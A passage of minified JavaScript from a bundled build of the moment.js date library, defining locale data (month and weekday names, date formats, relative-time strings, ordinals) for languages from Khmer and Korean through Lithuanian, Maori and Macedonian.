жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(ші|шы)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(i(30381))},18758:function(e,t,i){!function(e){"use strict";var t={1:"១",2:"២",3:"៣",4:"៤",5:"៥",6:"៦",7:"៧",8:"៨",9:"៩",0:"០"},i={"១":"1","២":"2","៣":"3","៤":"4","៥":"5","៦":"6","៧":"7","៨":"8","៩":"9","០":"0"};e.defineLocale("km",{months:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),monthsShort:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),weekdays:"អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"),weekdaysShort:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysMin:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ព្រឹក|ល្ងាច/,isPM:function(e){return"ល្ងាច"===e},meridiem:function(e,t,i){return e<12?"ព្រឹក":"ល្ងាច"},calendar:{sameDay:"[ថ្ងៃនេះ ម៉ោង] LT",nextDay:"[ស្អែក ម៉ោង] LT",nextWeek:"dddd [ម៉ោង] LT",lastDay:"[ម្សិលមិញ ម៉ោង] LT",lastWeek:"dddd [សប្តាហ៍មុន] [ម៉ោង] LT",sameElse:"L"},relativeTime:{future:"%sទៀត",past:"%sមុន",s:"ប៉ុន្មានវិនាទី",ss:"%d វិនាទី",m:"មួយនាទី",mm:"%d នាទី",h:"មួយម៉ោង",hh:"%d ម៉ោង",d:"មួយថ្ងៃ",dd:"%d ថ្ងៃ",M:"មួយខែ",MM:"%d ខែ",y:"មួយឆ្នាំ",yy:"%d ឆ្នាំ"},dayOfMonthOrdinalParse:/ទី\d{1,2}/,ordinal:"ទី%d",preparse:function(e){return e.replace(/[១២៣៤៥៦៧៨៩០]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(i(30381))},79282:function(e,t,i){!function(e){"use strict";var t={1:"೧",2:"೨",3:"೩",4:"೪",5:"೫",6:"೬",7:"೭",8:"೮",9:"೯",0:"೦"},i={"೧":"1","೨":"2","೩":"3","೪":"4","೫":"5","೬":"6","೭":"7","೮":"8","೯":"9","೦":"0"};e.defineLocale("kn",{months:"ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"),monthsShort:"ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"),monthsParseExact:!0,weekdays:"ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"),weekdaysShort:"ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"),weekdaysMin:"ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[ಇಂದು] LT",nextDay:"[ನಾಳೆ] LT",nextWeek:"dddd, LT",lastDay:"[ನಿನ್ನೆ] LT",lastWeek:"[ಕೊನೆಯ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ನಂತರ",past:"%s ಹಿಂದೆ",s:"ಕೆಲವು ಕ್ಷಣಗಳು",ss:"%d ಸೆಕೆಂಡುಗಳು",m:"ಒಂದು ನಿಮಿಷ",mm:"%d ನಿಮಿಷ",h:"ಒಂದು ಗಂಟೆ",hh:"%d ಗಂಟೆ",d:"ಒಂದು ದಿನ",dd:"%d ದಿನ",M:"ಒಂದು ತಿಂಗಳು",MM:"%d ತಿಂಗಳು",y:"ಒಂದು ವರ್ಷ",yy:"%d ವರ್ಷ"},preparse:function(e){return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g,(function(e){return i[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ರಾತ್ರಿ"===t?e<4?e:e+12:"ಬೆಳಿಗ್ಗೆ"===t?e:"ಮಧ್ಯಾಹ್ನ"===t?e>=10?e:e+12:"ಸಂಜೆ"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"ರಾತ್ರಿ":e<10?"ಬೆಳಿಗ್ಗೆ":e<17?"ಮಧ್ಯಾಹ್ನ":e<20?"ಸಂಜೆ":"ರಾತ್ರಿ"},dayOfMonthOrdinalParse:/\d{1,2}(ನೇ)/,ordinal:function(e){return e+"ನೇ"},week:{dow:0,doy:6}})}(i(30381))},33730:function(e,t,i){!function(e){"use strict";e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,i){return e<12?"오전":"오후"}})}(i(30381))},90563:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={s:["çend sanîye","çend sanîyeyan"],ss:[e+" sanîye",e+" sanîyeyan"],m:["deqîqeyek","deqîqeyekê"],mm:[e+" deqîqe",e+" deqîqeyan"],h:["saetek","saetekê"],hh:[e+" saet",e+" saetan"],d:["rojek","rojekê"],dd:[e+" roj",e+" rojan"],w:["hefteyek","hefteyekê"],ww:[e+" hefte",e+" hefteyan"],M:["mehek","mehekê"],MM:[e+" meh",e+" mehan"],y:["salek","salekê"],yy:[e+" sal",e+" salan"]};return t?r[i][0]:r[i][1]}e.defineLocale("ku-kmr",{months:"Rêbendan_Sibat_Adar_Nîsan_Gulan_Hezîran_Tîrmeh_Tebax_Îlon_Cotmeh_Mijdar_Berfanbar".split("_"),monthsShort:"Rêb_Sib_Ada_Nîs_Gul_Hez_Tîr_Teb_Îlo_Cot_Mij_Ber".split("_"),monthsParseExact:!0,weekdays:"Yekşem_Duşem_Sêşem_Çarşem_Pêncşem_În_Şemî".split("_"),weekdaysShort:"Yek_Du_Sê_Çar_Pên_În_Şem".split("_"),weekdaysMin:"Ye_Du_Sê_Ça_Pê_În_Şe".split("_"),meridiem:function(e,t,i){return e<12?i?"bn":"BN":i?"pn":"PN"},meridiemParse:/bn|BN|pn|PN/,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM[a] YYYY[an]",LLL:"Do MMMM[a] YYYY[an] HH:mm",LLLL:"dddd, Do MMMM[a] YYYY[an] HH:mm",ll:"Do MMM[.] YYYY[an]",lll:"Do MMM[.] YYYY[an] HH:mm",llll:"ddd[.], Do MMM[.] YYYY[an] HH:mm"},calendar:{sameDay:"[Îro di saet] LT [de]",nextDay:"[Sibê di saet] LT [de]",nextWeek:"dddd [di saet] LT [de]",lastDay:"[Duh di saet] LT [de]",lastWeek:"dddd[a borî di saet] LT [de]",sameElse:"L"},relativeTime:{future:"di %s de",past:"berî %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,w:t,ww:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(?:yê|ê|\.)/,ordinal:function(e,t){var i=t.toLowerCase();return i.includes("w")||i.includes("m")?e+".":e+function(e){var t=(e=""+e).substring(e.length-1),i=e.length>1?e.substring(e.length-2):"";return 12==i||13==i||"2"!=t&&"3"!=t&&"50"!=i&&"70"!=t&&"80"!=t?"ê":"yê"}(e)},week:{dow:1,doy:4}})}(i(30381))},1408:function(e,t,i){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},i={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},n=["کانونی دووەم","شوبات","ئازار","نیسان","ئایار","حوزەیران","تەمموز","ئاب","ئەیلوول","تشرینی یەكەم","تشرینی دووەم","كانونی یەکەم"];e.defineLocale("ku",{months:n,monthsShort:n,weekdays:"یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"),weekdaysShort:"یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"),weekdaysMin:"ی_د_س_چ_پ_ه_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ئێواره‌|به‌یانی/,isPM:function(e){return/ئێواره‌/.test(e)},meridiem:function(e,t,i){return e<12?"به‌یانی":"ئێواره‌"},calendar:{sameDay:"[ئه‌مرۆ كاتژمێر] LT",nextDay:"[به‌یانی كاتژمێر] LT",nextWeek:"dddd [كاتژمێر] LT",lastDay:"[دوێنێ كاتژمێر] LT",lastWeek:"dddd [كاتژمێر] LT",sameElse:"L"},relativeTime:{future:"له‌ %s",past:"%s",s:"چه‌ند چركه‌یه‌ك",ss:"چركه‌ %d",m:"یه‌ك خوله‌ك",mm:"%d خوله‌ك",h:"یه‌ك كاتژمێر",hh:"%d كاتژمێر",d:"یه‌ك ڕۆژ",dd:"%d ڕۆژ",M:"یه‌ك مانگ",MM:"%d مانگ",y:"یه‌ك ساڵ",yy:"%d ساڵ"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return i[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(i(30381))},33291:function(e,t,i){!function(e){"use strict";var t={0:"-чү",1:"-чи",2:"-чи",3:"-чү",4:"-чү",5:"-чи",6:"-чы",7:"-чи",8:"-чи",9:"-чу",10:"-чу",20:"-чы",30:"-чу",40:"-чы",50:"-чү",60:"-чы",70:"-чи",80:"-чи",90:"-чу",100:"-чү"};e.defineLocale("ky",{months:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"),monthsShort:"янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"),weekdays:"Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"),weekdaysShort:"Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"),weekdaysMin:"Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгүн саат] LT",nextDay:"[Эртең саат] LT",nextWeek:"dddd [саат] LT",lastDay:"[Кечээ саат] LT",lastWeek:"[Өткөн аптанын] dddd [күнү] [саат] LT",sameElse:"L"},relativeTime:{future:"%s ичинде",past:"%s мурун",s:"бирнече секунд",ss:"%d секунд",m:"бир мүнөт",mm:"%d мүнөт",h:"бир саат",hh:"%d саат",d:"бир күн",dd:"%d күн",M:"бир ай",MM:"%d ай",y:"бир жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(чи|чы|чү|чу)/,ordinal:function(e){return e+(t[e]||t[e%10]||t[e>=100?100:null])},week:{dow:1,doy:7}})}(i(30381))},36841:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={m:["eng Minutt","enger Minutt"],h:["eng Stonn","enger Stonn"],d:["een Dag","engem Dag"],M:["ee Mount","engem Mount"],y:["ee Joer","engem Joer"]};return t?r[i][0]:r[i][1]}function i(e){if(e=parseInt(e,10),isNaN(e))return!1;if(e<0)return!0;if(e<10)return 4<=e&&e<=7;if(e<100){var t=e%10;return i(0===t?e/10:t)}if(e<1e4){for(;e>=10;)e/=10;return i(e)}return i(e/=1e3)}e.defineLocale("lb",{months:"Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"),weekdaysShort:"So._Mé._Dë._Më._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mé_Dë_Më_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm [Auer]",LTS:"H:mm:ss [Auer]",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm [Auer]",LLLL:"dddd, D. MMMM YYYY H:mm [Auer]"},calendar:{sameDay:"[Haut um] LT",sameElse:"L",nextDay:"[Muer um] LT",nextWeek:"dddd [um] LT",lastDay:"[Gëschter um] LT",lastWeek:function(){switch(this.day()){case 2:case 4:return"[Leschten] dddd [um] LT";default:return"[Leschte] dddd [um] LT"}}},relativeTime:{future:function(e){return i(e.substr(0,e.indexOf(" ")))?"a "+e:"an "+e},past:function(e){return i(e.substr(0,e.indexOf(" ")))?"viru "+e:"virun "+e},s:"e puer Sekonnen",ss:"%d Sekonnen",m:t,mm:"%d Minutten",h:t,hh:"%d Stonnen",d:t,dd:"%d Deeg",M:t,MM:"%d Méint",y:t,yy:"%d Joer"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},55466:function(e,t,i){!function(e){"use strict";e.defineLocale("lo",{months:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),monthsShort:"ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"),weekdays:"ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysShort:"ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"),weekdaysMin:"ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"ວັນdddd D MMMM YYYY HH:mm"},meridiemParse:/ຕອນເຊົ້າ|ຕອນແລງ/,isPM:function(e){return"ຕອນແລງ"===e},meridiem:function(e,t,i){return e<12?"ຕອນເຊົ້າ":"ຕອນແລງ"},calendar:{sameDay:"[ມື້ນີ້ເວລາ] LT",nextDay:"[ມື້ອື່ນເວລາ] LT",nextWeek:"[ວັນ]dddd[ໜ້າເວລາ] LT",lastDay:"[ມື້ວານນີ້ເວລາ] LT",lastWeek:"[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT",sameElse:"L"},relativeTime:{future:"ອີກ %s",past:"%sຜ່ານມາ",s:"ບໍ່ເທົ່າໃດວິນາທີ",ss:"%d ວິນາທີ",m:"1 ນາທີ",mm:"%d ນາທີ",h:"1 ຊົ່ວໂມງ",hh:"%d ຊົ່ວໂມງ",d:"1 ມື້",dd:"%d ມື້",M:"1 ເດືອນ",MM:"%d ເດືອນ",y:"1 ປີ",yy:"%d ປີ"},dayOfMonthOrdinalParse:/(ທີ່)\d{1,2}/,ordinal:function(e){return"ທີ່"+e}})}(i(30381))},57010:function(e,t,i){!function(e){"use strict";var t={ss:"sekundė_sekundžių_sekundes",m:"minutė_minutės_minutę",mm:"minutės_minučių_minutes",h:"valanda_valandos_valandą",hh:"valandos_valandų_valandas",d:"diena_dienos_dieną",dd:"dienos_dienų_dienas",M:"mėnuo_mėnesio_mėnesį",MM:"mėnesiai_mėnesių_mėnesius",y:"metai_metų_metus",yy:"metai_metų_metus"};function i(e,t,i,n){return t?r(i)[0]:n?r(i)[1]:r(i)[2]}function n(e){return e%10==0||e>10&&e<20}function r(e){return t[e].split("_")}function s(e,t,s,a){var o=e+" ";return 1===e?o+i(0,t,s[0],a):t?o+(n(e)?r(s)[1]:r(s)[0]):a?o+r(s)[1]:o+(n(e)?r(s)[1]:r(s)[2])}e.defineLocale("lt",{months:{format:"sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"),standalone:"sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"),isFormat:/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/},monthsShort:"sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"),weekdays:{format:"sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"),standalone:"sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"),isFormat:/dddd HH:mm/},weekdaysShort:"Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"),weekdaysMin:"S_P_A_T_K_Pn_Š".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY [m.] MMMM D [d.]",LLL:"YYYY [m.] MMMM D [d.], HH:mm [val.]",LLLL:"YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]",l:"YYYY-MM-DD",ll:"YYYY [m.] MMMM D [d.]",lll:"YYYY [m.] MMMM D [d.], HH:mm [val.]",llll:"YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]"},calendar:{sameDay:"[Šiandien] LT",nextDay:"[Rytoj] LT",nextWeek:"dddd LT",lastDay:"[Vakar] LT",lastWeek:"[Praėjusį] dddd LT",sameElse:"L"},relativeTime:{future:"po %s",past:"prieš %s",s:function(e,t,i,n){return t?"kelios sekundės":n?"kelių sekundžių":"kelias sekundes"},ss:s,m:i,mm:s,h:i,hh:s,d:i,dd:s,M:i,MM:s,y:i,yy:s},dayOfMonthOrdinalParse:/\d{1,2}-oji/,ordinal:function(e){return e+"-oji"},week:{dow:1,doy:4}})}(i(30381))},37595:function(e,t,i){!function(e){"use strict";var t={ss:"sekundes_sekundēm_sekunde_sekundes".split("_"),m:"minūtes_minūtēm_minūte_minūtes".split("_"),mm:"minūtes_minūtēm_minūte_minūtes".split("_"),h:"stundas_stundām_stunda_stundas".split("_"),hh:"stundas_stundām_stunda_stundas".split("_"),d:"dienas_dienām_diena_dienas".split("_"),dd:"dienas_dienām_diena_dienas".split("_"),M:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),MM:"mēneša_mēnešiem_mēnesis_mēneši".split("_"),y:"gada_gadiem_gads_gadi".split("_"),yy:"gada_gadiem_gads_gadi".split("_")};function i(e,t,i){return i?t%10==1&&t%100!=11?e[2]:e[3]:t%10==1&&t%100!=11?e[0]:e[1]}function n(e,n,r){return e+" "+i(t[r],e,n)}function r(e,n,r){return i(t[r],e,n)}e.defineLocale("lv",{months:"janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"),monthsShort:"jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"),weekdays:"svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"),weekdaysShort:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysMin:"Sv_P_O_T_C_Pk_S".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY.",LL:"YYYY. [gada] D. MMMM",LLL:"YYYY. [gada] D. MMMM, HH:mm",LLLL:"YYYY. [gada] D. MMMM, dddd, HH:mm"},calendar:{sameDay:"[Šodien pulksten] LT",nextDay:"[Rīt pulksten] LT",nextWeek:"dddd [pulksten] LT",lastDay:"[Vakar pulksten] LT",lastWeek:"[Pagājušā] dddd [pulksten] LT",sameElse:"L"},relativeTime:{future:"pēc %s",past:"pirms %s",s:function(e,t){return t?"dažas sekundes":"dažām sekundēm"},ss:n,m:r,mm:n,h:r,hh:n,d:r,dd:n,M:r,MM:n,y:r,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},39861:function(e,t,i){!function(e){"use strict";var t={words:{ss:["sekund","sekunda","sekundi"],m:["jedan minut","jednog minuta"],mm:["minut","minuta","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mjesec","mjeseca","mjeseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,i,n){var r=t.words[n];return 1===n.length?i?r[0]:r[1]:e+" "+t.correctGrammaticalCase(e,r)}};e.defineLocale("me",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sjutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedjelje] [u] LT","[prošlog] [ponedjeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srijede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mjesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},35493:function(e,t,i){!function(e){"use strict";e.defineLocale("mi",{months:"Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"),monthsShort:"Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"),monthsRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i,monthsShortStrictRegex:/(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i,weekdays:"Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"),weekdaysShort:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),weekdaysMin:"Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [i] HH:mm",LLLL:"dddd, D MMMM YYYY [i] HH:mm"},calendar:{sameDay:"[i teie mahana, i] LT",nextDay:"[apopo i] LT",nextWeek:"dddd [i] LT",lastDay:"[inanahi i] LT",lastWeek:"dddd [whakamutunga i] LT",sameElse:"L"},relativeTime:{future:"i roto i %s",past:"%s i mua",s:"te hēkona ruarua",ss:"%d hēkona",m:"he meneti",mm:"%d meneti",h:"te haora",hh:"%d haora",d:"he ra",dd:"%d ra",M:"he marama",MM:"%d marama",y:"he tau",yy:"%d tau"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},95966:function(e,t,i){!function(e){"use strict";e.defineLocale("mk",{months:"јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"),monthsShort:"јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"),weekdays:"недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"),weekdaysShort:"нед_пон_вто_сре_чет_пет_саб".split("_"),weekdaysMin:"нe_пo_вт_ср_че_пе_сa".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[Денес во] LT",nextDay:"[Утре во] LT",nextWeek:"[Во] dddd [во] LT",lastDay:"[Вчера во] LT",lastWeek:function(){switch(this.day()){case 0:case 3:case 6:return"[Изминатата] dddd [во] LT";case 1:case 2:case 4:case 5:return"[Изминатиот] dddd [во] LT"}},sameElse:"L"},relativeTime:{future:"за %s",past:"пред %s",s:"неколку секунди",ss:"%d секунди",m:"една минута",mm:"%d минути",h:"еден час",hh:"%d часа",d:"еден ден",dd:"%d дена",M:"еден месец",MM:"%d месеци",y:"една година",yy:"%d години"},dayOfMonthOrdinalParse:/\d{1,2}-(ев|ен|ти|ви|ри|ми)/,ordinal:function(e){var t=e%10,i=e%100;return 0===e?e+"-ев":0===i?e+"-ен":i>10&&i<20?e+"-ти":1===t?e+"-ви":2===t?e+"-ри":7===t||8===t?e+"-ми":e+"-ти"},week:{dow:1,doy:7}})}(i(30381))},87341:function(e,t,i){!function(e){"use 